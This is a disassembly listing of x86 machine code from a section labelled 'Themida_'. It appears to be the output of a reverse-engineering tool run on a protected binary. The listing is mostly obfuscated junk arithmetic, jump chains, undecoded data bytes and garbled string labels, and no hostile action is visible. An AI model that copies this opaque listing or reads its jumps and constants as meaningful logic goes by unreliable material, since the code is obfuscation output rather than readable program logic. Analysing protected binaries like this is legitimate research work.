		dd 0F5C2404h, 5450C8BFh, 0C2F8E958h, 2489FFFFh,	4BD5524h
		dd 1000000h, 5D04246Ch,	0FFCBBCE9h, 0C6815DFFh,	67F357D5h
		dd 0F6E9FE01h, 53000051h, 0EA5388BBh, 5BDD0169h, 6769E9h
		dd 0D5015A00h, 5B0BC581h, 0E95A646Ch, 548Ah
; ---------------------------------------------------------------------------


loc_55641C:				; CODE XREF: Themida_:00550F4Ej
		shr	eax, 3
		neg	eax
		jmp	loc_555255
; ---------------------------------------------------------------------------


loc_556426:				; CODE XREF: Themida_:005585BEj
		xor	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		shl	esi, 6
		push	edx
		mov	edx, 16EA4E48h
		or	esi, edx
		pop	edx
		sub	esi, 7EFDFFC8h
		and	eax, esi
		jmp	loc_555DAC
; ---------------------------------------------------------------------------


loc_556447:				; CODE XREF: Themida_:0055B023j
		mov	eax, 4
		jmp	loc_5529A9
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0FFh
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556457:				; CODE XREF: Themida_:00550A53j
		shr	ecx, 0Bh
		push	1D2h
		mov	[esp], ebx
		push	esp
		jmp	loc_5585A5
; ---------------------------------------------------------------------------
		dd 4C581h, 0EC810000h, 4, 0E9241489h, 29B5h, 65F2EB81h
		dd 0C30146BCh, 65F2C381h, 505546BCh, 0ED36AC68h, 0E8C15800h
		dd 35882D05h, 0C589EEEBh, 9BC38158h, 1374F53h, 1A10E9EBh
		dd 0C7810000h, 4, 4C781h, 3C870000h, 0C5815C24h, 4, 9685653h
		dd 5E6EAA1Ah, 1CE8F681h, 0E9467963h, 0FFFFBA78h
; ---------------------------------------------------------------------------


loc_5564D4:				; CODE XREF: Themida_:005567BEj
		push	ecx
		jmp	loc_552E48
; ---------------------------------------------------------------------------
		dw 430h
		dd 63E99C24h, 0F7FFFFA5h, 49EF81D7h, 29406145h,	5485FF8h
		dd 16DF333Dh, 0FFAB34E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5564F9:				; CODE XREF: Themida_:0055BCB8j
		mov	[esp], edx
		mov	edx, 24h
		jmp	loc_5594C2
; ---------------------------------------------------------------------------
		dw 0D301h
		dd 8324148Bh, 0C78104C4h, 4B3D008Bh, 4EC9EF81h,	0DF01657Eh
		dd 4EC9C781h, 0EF81657Eh, 4B3D008Bh, 2C7835Bh, 3532E9h
		dd 0E9DF0900h, 526Ah, 5A2434FFh, 4C481h, 0A0E90000h, 81000025h
		dd 4F79B9C3h, 81E3D13Bh, 7807AEBh, 5BD9897Ah, 0FFF7BCE9h
		dd 1D668FFh, 2C890000h,	2474FF24h, 2434FF04h, 0CE42E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556572:				; CODE XREF: Themida_:00559714j
		pop	esp
		shr	eax, 10h
		xor	eax, ecx
		xor	eax, esi
		xor	esi, eax
		jmp	loc_55BAE0
; ---------------------------------------------------------------------------
aBycds		db '╦byГdИм;',0
		db 0
; ---------------------------------------------------------------------------


loc_55658B:				; CODE XREF: Themida_:0055677Ej
		pop	edi
		push	edi
		push	eax
		push	edi
		mov	edi, 4B4A7623h
		sub	edi, 77B462FAh
		add	edi, 485901D9h
		jmp	loc_555947
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 0FFA499E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5565AD:				; CODE XREF: Themida_:0055B036j
		push	ebx
		push	eax
		mov	eax, 20575062h
		mov	ebx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		push	esi
		push	esp
		jmp	loc_55338F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C892424h, 81E18924h, 4C1h, 0BB535600h, 128D1C09h, 2F46E9h
		dd 55E38900h, 4BDh, 5DEB0100h, 4BF57h, 0EB810000h, 67D45E1Eh
		dd 0C381FB29h, 67D45E1Eh, 241C875Fh, 0CCB7E95Ch, 0C89FFFFh
		dd 5F02B924h, 0E1817A51h, 31160B24h, 0B585E951h, 0E389FFFFh
		dd 4C381h, 0EB830000h, 241C8704h, 0C7AAE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55662E:				; CODE XREF: Themida_:00556AC3j
		push	edx
		mov	edx, 6AB38C9h
		jmp	loc_5574C6
; ---------------------------------------------------------------------------
		db 66h,	5Ah, 66h
		dd 50242C8Bh, 0BD55E089h, 4, 835DE801h,	48702C0h, 6ADE924h
		dd 0A680000h, 89000019h, 0E589242Ch, 58C3E9h, 4C68100h
		dd 81000000h, 4C6h, 24348700h, 5224248Bh, 8904EC83h, 3D68242Ch
		dd 5D508913h, 3B33E9h, 24048F00h, 0E924248Bh, 65D5h, 2C8BEB21h
		dd 1405E924h, 86BB0000h, 0E901B446h, 0FFFFFE9Fh, 4FE4BE66h
		dd 10C38166h, 0F3016667h, 0FFBFC0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5566B9:				; CODE XREF: Themida_:0055B4E8j
		sub	esp, 4
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 80h
		push	esi
		jmp	loc_554478
; ---------------------------------------------------------------------------
aRiIZQsc2	db 'R┬з┬пZ[QИC2',0
		align 10h


loc_5566E0:				; CODE XREF: Themida_:005535FFj
		pop	ebp
		sub	ecx, 244301C1h
		push	edi
		mov	edi, 67F35B7Dh
		xor	ecx, edi
		pop	edi
		and	ecx, 2240564Ch
		jmp	loc_551179
; ---------------------------------------------------------------------------


loc_5566FB:				; CODE XREF: Themida_:00551FE3j
		xchg	ebp, [esp]
		pop	esp
		pop	edx
		add	ebx, 0C161BE57h
		and	eax, ebx
		mov	ebx, [esp]
		push	esi
		jmp	loc_550D6E
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 5
		dd 0FFB214E9h, 0EA8158FFh, 4, 5C241487h, 0E9243C89h, 0FFFFCF2Bh
		dd 0C681E689h, 4, 2D1FE9h, 67685A00h, 89000010h, 0A2E9243Ch
		dd 81000064h, 0B82FB7F7h, 5FFE8925h, 6ED868h, 24348900h
		dd 0D5D5E95Bh, 0EC83FFFFh, 24348904h, 0FFECBCE9h, 3CE953FFh
		db 0D0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55676F:				; CODE XREF: Themida_:00557149j
		mov	edi, 15A010Ch
		not	edi
		xor	edi, 0C635BF25h
		and	ebp, edi
		jmp	loc_55658B
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0EC8005E4h, 7C480FFh, 0D7E9E588h, 81FFFFD5h,	4162A5C7h
		dd 579E962h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55679E:				; CODE XREF: Themida_:0055A0E7j
		add	esp, 4
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5564D4
; ---------------------------------------------------------------------------
aHus		db '[h⌠s',0
		dd 24148900h, 0C7E9E289h, 6600005Dh, 6824048Bh,	3FF6h
		dd 54243489h, 5E2434FFh, 556FE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5567EA:				; CODE XREF: Themida_:0055CE48j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_55B6C0
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 0E904EC83h, 0FFFFBD9Ah, 0A146F281h, 0D32965AAh
		dd 0E3D1435Ah, 937DEB81h, 0DD8987E5h, 8BEB015Bh, 0C483242Ch
		dd 0EC835104h, 0D12FE904h, 0C301FFFFh, 501AC381h, 535549F7h
		dd 616DAD68h, 46B1E961h, 0C3810000h, 55646909h,	88EE8852h
		dd 1C8B5A33h, 4C48324h,	2ED9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55685D:				; CODE XREF: Themida_:00559216j
		and	edx, 53892FAAh
		push	ebx
		push	edx
		mov	edx, 25940299h
		jmp	loc_553B45
; ---------------------------------------------------------------------------
		db 0C1h
		dd 29E904EDh, 0BD000019h, 2F355A9Bh, 0B951D5F7h, 6DDC7E67h
		dd 0C102E9C1h, 4EE905E9h, 66000012h, 0E924048Bh, 0FFFFD346h
; ---------------------------------------------------------------------------


loc_556898:				; CODE XREF: Themida_:00554E80j
		mov	ebp, 3141ECDh
		jmp	loc_557199
; ---------------------------------------------------------------------------
		dw 5F54h
		dd 8904EC83h, 0BE56241Ch, 7892069Ah, 5A4EE81h, 0F3893BF8h
		dd 0B002E95Eh, 4966FFFFh, 68664966h, 89660467h,	0BD66242Ch
		dd 216679D2h, 2C8B66E9h, 2C48124h, 0E9000000h, 560Ch
; ---------------------------------------------------------------------------


loc_5568E0:				; CODE XREF: Themida_:005571D6j
		mov	edi, 5F4073ACh
		xor	ecx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2FFA1022h
		push	ebp
		mov	ebp, 58FF5D40h
		and	ebp, 57BB3923h
		dec	ebp
		push	0
		sub	[esp], ebp
		jmp	loc_55C984
; ---------------------------------------------------------------------------


loc_556910:				; CODE XREF: Themida_:00557C32j
		mov	esi, 0BA2DB608h
		mov	ecx, esi
		pop	esi
		mov	edi, ecx
		pop	ecx
		jmp	loc_556097
; ---------------------------------------------------------------------------
		dd 0F988F2B7h, 0FFF24BE9h, 5EBC1FFh, 27D3E381h,	2CE95077h
		dd 89000015h, 0BE56241Ch, 77BD0594h, 604AB9BBh,	0C6E94371h
		dd 0B9000025h, 36801B2Bh, 81D1F749h, 7FE4D1F1h,	0E9CA01C9h
		dd 0FFFFA989h, 2474FF56h, 48F5E04h, 3CD25C24h, 0D3E99C24h
		dd 0BEFFFFA0h, 7A467B75h, 68h, 0F3F1E900h, 489FFFFh, 1BB35324h
		dd 0DC281CB4h, 83241C8Bh, 0E72804C4h, 8324048Bh, 0D9E904C4h
		dd 56000043h, 0E953E689h, 4370h, 6FA6BF57h, 0EFC157B5h
		dd 1C78307h, 4E20CF81h,	0BCE93AD4h, 8000003Eh, 0F1801EE1h
		dd 0FEF1800Dh, 0E959C828h, 21D0h, 5274E381h, 0CB817BC3h
		dd 37C931F8h, 2498EB81h, 0BAE91542h, 0C0000032h, 0F48004ECh
		dd 58E6289Dh, 8904EC83h, 0B1512404h, 96AE91Ch, 14890000h
		dd 5049BA24h, 91E96D0Eh, 100004Ah, 0DFC581FDh, 0E9694A58h
		dd 0FFFFB41Ah, 8B2434FFh, 0C4812404h, 4, 57E28952h, 8924CCBFh
		dd 4ECF812Ch, 0E952E45Ch, 0FFFFC68Bh, 24048B66h, 4EC81h
		dd 0C890000h, 0C8B5424h, 4C48124h, 0E9000000h, 4F19h, 2D33EF81h
		dd 0DF01547Ah, 0FFF896E9h, 0C68146FFh, 15603AAEh, 0E95EF229h
		dd 0FFFFDAAAh
; ---------------------------------------------------------------------------


loc_556A70:				; CODE XREF: Themida_:00559D14j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], dx
		jmp	loc_557B0D
; ---------------------------------------------------------------------------
		db 81h
		dd 6C35CAF1h, 458EE947h, 0F1810000h, 36C06F2Dh,	8159CD21h
		dd 9221E7F5h, 3949E975h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556AAE:				; CODE XREF: Themida_:005541C9j
		push	ebp
		mov	ebp, 7AE83367h
		push	ebx
		mov	ebx, 18877822h
		shr	ebx, 2
		and	ebx, 7D3F47A6h
		jmp	loc_55662E
; ---------------------------------------------------------------------------
		dd 0FB0FE953h, 835EFFFFh, 48E904EBh, 4FFFFFDFh,	1AC3CF81h
		dd 0EFD10DB9h, 6F1EF781h, 0F7815A15h, 1DE9826Bh, 692FEA81h
		dd 0FA29728Eh, 692FC281h, 875F728Eh, 895C2414h,	9C502414h
		dd 0FF9F3DE9h, 34FF54FFh, 0D18EE924h, 1C89FFFFh, 4089E924h
		dd 34FF0000h, 0E9575924h, 0FFFFCE14h
; ---------------------------------------------------------------------------


loc_556B24:				; CODE XREF: Themida_:00552B47j
		push	ebx
		push	ebp
		push	ebx
		jmp	loc_55B610
; ---------------------------------------------------------------------------
		dd 14F7574Fh, 83E95F24h, 0FF00003Eh, 48B2434h, 4C48324h
		dd 81585450h, 4ECh, 243C8900h, 1AFEE9h,	37E95A00h, 8BFFFFDFh
		dd 0D068240Ch, 89000037h, 0E6892434h, 4C681h, 0BD550000h
		dd 4, 0B20E9h
		db 0
; ---------------------------------------------------------------------------


loc_556B75:				; CODE XREF: Themida_:0055563Ej
		or	ecx, 3A7A1314h
		jmp	loc_559E95
; ---------------------------------------------------------------------------
		dd 0E9243C89h, 0FFFFAAF1h, 2C681h, 54500000h, 0D3BD5558h
		dd 81332071h, 2071D7F5h, 5DE80133h, 42Dh, 74FF5000h, 48B0424h
		dd 0D16BE924h, 895CFFFFh, 5155241Ch, 6187E9h, 42556800h
		dd 0C890000h, 95686624h, 0C8B6650h, 5E545624h, 4C681h
		dd 0C6830000h, 24343302h, 33243431h, 575C2434h,	3003BF66h
		dd 5EFC166h, 0AEEF8166h, 0C78166D8h, 556658D0h,	0FFF085E9h
		dd 7B7668FFh, 14890000h, 26906824h, 3C890000h, 28136824h
		dd 535F7FD3h, 90172C68h, 0E3C15B61h, 0EBC14B06h, 0A2E2E908h
		dd 815FFFFFh, 4C7h, 4C78300h, 0E9243C87h, 0FFFFEEA0h, 0D8351C05h
		dd 0E9C331F9h, 1055h, 592434FFh, 568E9h, 24148B00h, 4C481h
		dd 0E9570000h, 0FFFFAAB5h
; ---------------------------------------------------------------------------


loc_556C5C:				; CODE XREF: Themida_:005529FFj
		add	esi, 4
		jmp	loc_55CA35
; ---------------------------------------------------------------------------
		db 0FFh
		dd 34FF2434h, 3B7FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556C72:				; CODE XREF: Themida_:00557926j
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_558556
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 3BE95D04h, 0B9FFFFEBh, 2, 0FFBE77E9h, 59CB01FFh, 4C381h
		dd 1C330000h, 0A9A5E924h, 0F781FFFFh, 9E54CCEAh, 575FFB29h
		dd 594250BFh, 4AF78111h, 2958AE12h, 73E95FFBh, 89FFFFFBh
		dd 6E92434h, 5CFFFFE4h,	80CC0505h, 8BC23117h, 0C4812404h
		dd 4, 0BF57D2F7h, 1D090B03h, 3AFEF781h,	0FA010C9Ch, 1C57215Fh
		dd 0FFF847E9h, 4B9FFh, 0CD290000h, 8C66859h, 0F0E90000h
		dd 5C00001Eh, 0FF9D3DE9h, 3C77FFFFh, 3337E9h
		db 0
; ---------------------------------------------------------------------------


loc_556D11:				; CODE XREF: Themida_:0055C85Fj
		pop	esp
		jmp	loc_55BF58
; ---------------------------------------------------------------------------
aQs		db ')гQИ°^',0
		dw 5A00h
		dd 0FFF10FE9h, 4C281FFh, 87000000h, 0F75C2414h,	5B8868E9h
		dd 14890000h, 0E99C5024h, 43C3h, 0C8BCA01h, 4C48124h, 83000000h
		dd 148702C2h, 21665C24h, 0E99C2404h, 0FFFF9CEAh
; ---------------------------------------------------------------------------


loc_556D5C:				; CODE XREF: Themida_:00555E93j
		xor	[esp+4], ebp
		pop	ebp
		pop	ebp
		xor	ebp, 62BF348Eh
		jmp	loc_555CBD
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 0C581E589h, 4, 21DAE953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556D7E:				; CODE XREF: Themida_:00555132j
		mov	edx, eax
		mov	eax, [esp]
		jmp	loc_559165
; ---------------------------------------------------------------------------
		dd 89241C89h, 4B951E3h,	1000000h, 27D4E9CBh, 0EB800000h
		dd 0EB805812h, 1CE1E9BFh, 95A0000h, 240C8BC8h, 0C104C483h
		dd 0BA5205E8h, 1CFD16D4h, 4E0FCA81h, 0EA815B09h, 0F405F6FEh
		dd 255AD001h, 73E44EB0h, 0FFDCC3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556DD1:				; CODE XREF: Themida_:0055B63Ej
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55BCA2
; ---------------------------------------------------------------------------
		db 52h
		dd 185BFFBAh, 4EC8135h,	89000000h, 14F72414h, 0EA815A24h
		dd 0CAE7A3FCh, 1CE6E981h, 0D1016F6Bh, 400CE9h, 4C48100h
		dd 0E9000000h, 36D0h, 4BAh, 5AD30100h, 5C241C87h, 3DEFE950h
		dd 0C4810000h, 4, 0F237E951h, 0E801FFFFh, 0BA52555Dh, 53176330h
		dd 0ACB836BDh, 5AD52960h, 4D04E5C1h, 0BA52D5F7h, 108D011Ch
		dd 8FE9D501h
		db 5Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556E53:				; CODE XREF: Themida_:00557C19j
		mov	edx, eax
		pop	eax
		add	edx, 1
		xor	edx, 58752911h
		push	edi
		mov	edi, 28454E61h
		shr	edi, 5
		dec	edi
		xor	edi, 3F7D0E12h
		jmp	loc_555198
; ---------------------------------------------------------------------------
		db 31h
		dd 14332414h, 24248B24h, 6040E9h, 0EE816600h, 81663BF8h
		dd 0E9EBB0EEh, 41A7h, 5268B151h, 4FDEE9h
		db 0
; ---------------------------------------------------------------------------


loc_556E9D:				; CODE XREF: Themida_:005573A7j
		push	3705h
		mov	[esp], ebx
		mov	ebx, 0
		jmp	loc_557CCA
; ---------------------------------------------------------------------------
		db 83h
		dd 0BF0404C4h, 0BF2CD000h, 0CB99E95Ah, 489FFFFh, 496BE924h
		dd 81660000h, 66D827C7h, 665FFE01h, 0FDBAF681h,	5EF10966h
		dd 11C98166h, 0F9DCE953h, 5657FFFFh, 0F789EE89h, 5FFE895Eh
		dd 2045685Dh, 0C890000h, 0C8B5424h, 2153E924h, 0EB810000h
		dd 7C1C2B0Ch, 0D40C381h, 0F3016607h, 0D40EB81h,	0C3816607h
		dd 7C1C2B0Ch, 241C875Eh, 0E6B8E95Ch, 0C281FFFFh, 8245C527h
		dd 4AC381h, 0D3010061h,	1B3EE9h, 43E95B00h, 5EFFFFD7h
		dd 815EF089h, 4ECh, 24048900h, 24048B59h, 8104C483h, 0CD283DC1h
		dd 8BC831F9h, 0E953240Ch, 4A37h
; ---------------------------------------------------------------------------


loc_556F60:				; CODE XREF: Themida_:005513DDj
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	ebp
		jmp	loc_5549A6
; ---------------------------------------------------------------------------


loc_556F6D:				; CODE XREF: Themida_:005530B2j
		xor	esi, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_5588F3
; ---------------------------------------------------------------------------
		db 53h
		dd 4BBh, 0E1EE8100h, 1239665h, 0E1C681DEh, 8B239665h, 0C483241Ch
		dd 24348704h, 54A2685Ch, 3C890000h, 315CE924h, 525D0000h
		dd 6F2A2ABAh, 53EBE934h, 51420000h, 0D97D9DB9h,	8149493Bh
		dd 334B9FF1h, 59CA211Ah, 0CA81D2F7h, 3F907AC6h,	2F7DE9h
		db 0
; ---------------------------------------------------------------------------


loc_556FD5:				; CODE XREF: Themida_:0055C997j
		shr	eax, 5
		sub	eax, 608112BAh
		not	eax
		sub	eax, 290A4F9h
		xor	ebp, eax
		pop	eax
		and	ebx, ebp
		pop	ebp
		neg	ebx
		add	ebx, 1
		shl	ebx, 3
		sub	ebx, 10538DDFh
		push	ecx
		jmp	loc_55B2FB
; ---------------------------------------------------------------------------


loc_557001:				; CODE XREF: Themida_:005539AFj
		pop	edx
		shr	edx, 1
		or	edx, 76BA0103h
		add	edx, 326B0C7Fh
		add	edx, 4E9AB39Fh
		mov	edi, edx
		pop	edx
		jmp	loc_555809
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 4B90BE56h,	0DFE96D43h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55702F:				; CODE XREF: Themida_:00557919j
		push	ebp
		push	esp
		jmp	loc_551A8D
; ---------------------------------------------------------------------------


loc_557036:				; CODE XREF: Themida_:005512BFj
		sub	edi, 771FFFEh
		add	ebp, edi
		pop	edi
		jmp	loc_552312
; ---------------------------------------------------------------------------
		dd 5152F828h, 0DDF63FB5h, 8007E5C0h, 0DCE917C5h, 0E9000008h
		dd 0FFFF99EAh
; ---------------------------------------------------------------------------


loc_55705C:				; CODE XREF: Themida_:0055B69Aj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_555DBA
; ---------------------------------------------------------------------------


loc_557069:				; CODE XREF: Themida_:00559B07j
		sub	esi, 692C796Ch
		add	esi, eax
		add	esi, 692C796Ch
		pop	eax
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	ebx
		jmp	loc_555FFD
; ---------------------------------------------------------------------------
		dd 4B8h, 0E9C10100h, 0FFFFA324h
; ---------------------------------------------------------------------------


loc_557094:				; CODE XREF: Themida_:00552FD0j
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_5570AE
; ---------------------------------------------------------------------------
		dw 0E280h
		dd 0FED2F696h, 2569E9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5570AE:				; CODE XREF: Themida_:0055709Dj
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_55C9C1
; ---------------------------------------------------------------------------
		dw 875Eh
		dd 248B2414h, 0C8B6624h, 58545024h, 405h, 6F0E6800h, 3C890000h
		dd 0EC6E924h, 0FF5A0000h, 6AE92434h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5570E3:				; CODE XREF: Themida_:0055282Aj
		or	eax, eax
		jz	loc_5547BE
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		push	esi
		push	esp
		jmp	loc_55593B
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0A1BF5753h, 81166170h, 0A95C0EE7h, 0EF814F67h, 6214FBFh
		dd 0E95FFB89h, 48F3h, 52D831ADh, 3919E9h
		db 0
; ---------------------------------------------------------------------------


loc_557121:				; CODE XREF: Themida_:005543D7j
		xor	[eax], ecx
		pop	eax
		mov	edx, [esp]
		jmp	loc_55C8BC
; ---------------------------------------------------------------------------
		dd 1C781h, 0C7810000h, 2C5A00F3h, 13FFF781h, 0FA016943h
		dd 0FFA13DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557145:				; CODE XREF: Themida_:0055581Ej
		shl	ebp, 2
		push	edi
		jmp	loc_55676F
; ---------------------------------------------------------------------------


loc_55714E:				; CODE XREF: Themida_:00553206j
		add	esp, 4
		jmp	loc_557D5C
; ---------------------------------------------------------------------------
		db 68h,	19h, 72h
		dd 5582475h, 79C5331Dh,	504E0C1h, 9B4B06D5h, 0E958C689h
		dd 54D3h, 893C181h, 0E95B3F7Bh,	470Fh, 895DEF29h, 5EE95FF8h
		dd 0FFFFFFE4h, 49E92434h, 42000013h, 0FF9C93E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557199:				; CODE XREF: Themida_:0055689Dj
		and	ebp, 2D105D7Ah
		inc	ebp
		push	esi
		jmp	loc_55AE3A
; ---------------------------------------------------------------------------


loc_5571A6:				; CODE XREF: Themida_:0055771Cj
		shr	eax, 0Ch
		xor	eax, ecx
		push	109Bh
		jmp	loc_552C81
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 38h
		dd 83FFFFD2h, 48702C0h,	24248B24h, 9C242CD2h, 0FF9879E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5571CD:				; CODE XREF: Themida_:0055A2C8j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5568E0
; ---------------------------------------------------------------------------


loc_5571DB:				; CODE XREF: Themida_:005530F2j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		pop	dword ptr [edi+24h]


loc_5571F0:				; CODE XREF: Themida_:0055B490j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, ebx
		mov	eax, ecx
		jmp	loc_551D09
; ---------------------------------------------------------------------------


loc_5571FF:				; CODE XREF: Themida_:0055A729j
		mov	[esp], ecx
		jmp	loc_5546A8
; ---------------------------------------------------------------------------
		db 55h
		dd 470EBE56h, 0EEC16B53h, 81D6F706h, 0A2F02EF6h, 5EF589BBh
		dd 8E563A05h, 3F17E94Ah, 77FF0000h, 59669D1Ch, 2414D366h
		dd 0D7EE99Ch, 895B0000h, 2434FFF3h, 0E189515Eh,	4C181h
		dd 0C1830000h, 240C8704h, 97F4E95Ch, 0C483FFFFh, 3195E904h
		dd 1C890000h, 0CCB95124h, 0BB472852h, 36E23B31h, 2D59CB01h
		dd 220B02AAh, 0FF9ABEE9h, 2474FFFFh, 48F5A04h, 0C895C24h
		dd 97C0E924h, 3E2DFFFFh, 687D5022h, 3A5Eh, 0FFF6A2E9h
		dd 5BDF89FFh, 67E1EF81h, 0F7813F66h, 19F95045h,	1634B951h
		dd 0E18149BDh, 0E592106h, 81D1F749h, 7264BC9h, 19E18167h
		dd 810DDF4Dh, 0B237EFF1h, 59CF215Fh, 0C97EE94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5572CE:				; CODE XREF: Themida_:00552214j
		add	esp, 4
		jmp	loc_552066
; ---------------------------------------------------------------------------


loc_5572D9:				; CODE XREF: Themida_:00557B08j
		xor	bl, al
		jmp	loc_5520BA
; ---------------------------------------------------------------------------


loc_5572E0:				; CODE XREF: Themida_:00552674j
		add	esi, 45CA46ABh
		shr	esi, 2
		jmp	loc_5515A1
; ---------------------------------------------------------------------------
		dw 0AEB9h
		dd 81783653h, 61070FC9h, 0D4E1816Fh, 8171B903h,	132D40E1h
		dd 7FC98118h, 556A0D20h, 1D217BBDh, 5DE9297Ah, 8759CF01h
		dd 248B243Ch, 62E98124h, 5A64E779h, 4CF68h, 24148900h
		dd 0C2815A54h, 4, 3339BB53h, 15E94827h,	89000042h, 148B5EF3h
		dd 4C48124h, 1000000h, 68E95BDFh, 66000023h, 57240C8Bh
		dd 0FFF545E9h, 9FB951FFh, 0E9457774h, 0FFFFBA01h, 8832F180h
		dd 240C8BC8h, 4C481h, 772C0000h, 0D058C620h, 0AFC680EEh
		dd 0F0282304h, 1F87E9h,	240C8B00h, 5004C483h, 347768h
		dd 241C8900h, 20F4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55739D:				; CODE XREF: Themida_:005516E9j
		sub	eax, 53F233DFh
		add	eax, 585E7215h
		jmp	loc_556E9D
; ---------------------------------------------------------------------------


loc_5573AC:				; CODE XREF: Themida_:00551D72j
		mov	ch, bh
		mov	ebx, [esp]
		add	esp, 4
		mov	bl, ch
		pop	ecx
		push	edx
		jmp	loc_551A42
; ---------------------------------------------------------------------------


loc_5573BD:				; CODE XREF: Themida_:00557B1Cj
		add	cl, 36h
		mov	dh, cl
		mov	ecx, [esp]
		add	esp, 4
		add	al, 6Eh
		add	al, 18h
		add	al, dh
		push	ecx
		mov	ch, 8
		shr	ch, 3
		dec	ch
		sub	ch, 0E8h
		jmp	loc_555EDD
; ---------------------------------------------------------------------------


loc_5573DE:				; CODE XREF: Themida_:00555DA7j
		add	edx, edi
		add	edx, 29EF3030h
		add	dword ptr [edx], 1
		pop	edx
		jmp	loc_553651
; ---------------------------------------------------------------------------
		dw 3AB5h
		dd 0FFD444E9h, 4EC83FFh, 0FFE5F9E9h, 6A15BFFFh,	0DFF77CFEh
		dd 0FFF0D6E9h, 4C783FFh, 8B243C87h, 30FF2424h, 0FF9629E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55741D:				; CODE XREF: Themida_:00558F06j
		mov	[esp], edx
		not	dword ptr [esp]
		pop	edx
		xchg	ebx, edx
		push	ebx
		not	dword ptr [esp]
		jmp	loc_554D43
; ---------------------------------------------------------------------------
		db 0B9h
		dd 561344B1h, 44B3F181h, 0C5815613h, 3FD66A72h,	0ED81CD01h
		dd 3FD66A72h, 83240C8Bh, 2C3304C4h, 3891E924h, 14890000h
		dd 0E242E924h, 24BEFFFFh, 815D0676h, 67620EEh, 5EF3015Dh
		dd 2AEEE9h, 565A5F00h, 4BEh, 8BF20100h,	0C4832434h, 484D6804h
		dd 3C890000h, 5C685624h, 5E70B624h, 0FF9749E9h,	1C77FFFFh
		dd 17243481h, 0FF47F807h, 81582434h, 4C4h, 1F3BE900h, 248B0000h
		dd 24042124h, 958CE99Ch, 815CFFFFh, 565302CFh, 2732E949h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5574C6:				; CODE XREF: Themida_:00556634j
		and	edx, 1EC05150h
		add	edx, 4C8E2ED3h
		sub	ebx, edx
		jmp	loc_5518D6
; ---------------------------------------------------------------------------


loc_5574D9:				; CODE XREF: Themida_:00557A9Ej
		push	ebp
		mov	ebp, 73650A14h
		jmp	loc_55C0F4
; ---------------------------------------------------------------------------
		dd 242C3166h, 0FF9559E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5574ED:				; CODE XREF: Themida_:00550B2Fj
		mov	edi, 4DE3156Dh
		jmp	loc_5588CF
; ---------------------------------------------------------------------------
		db 89h
		dd 0ABA52E3h, 0C177A560h, 0E28108E2h, 393E4587h, 85E9DAF7h
		dd 81FFFFEAh, 312D1CF5h, 0E9EB892Eh, 0FFFFFA8Eh
; ---------------------------------------------------------------------------


loc_55751C:				; CODE XREF: Themida_:00551456j
		push	114h
		mov	[esp], edi
		push	esi
		push	678A5E9Eh
		pop	esi
		sub	esi, 0ED2E12F0h
		mov	edi, esi
		pop	esi
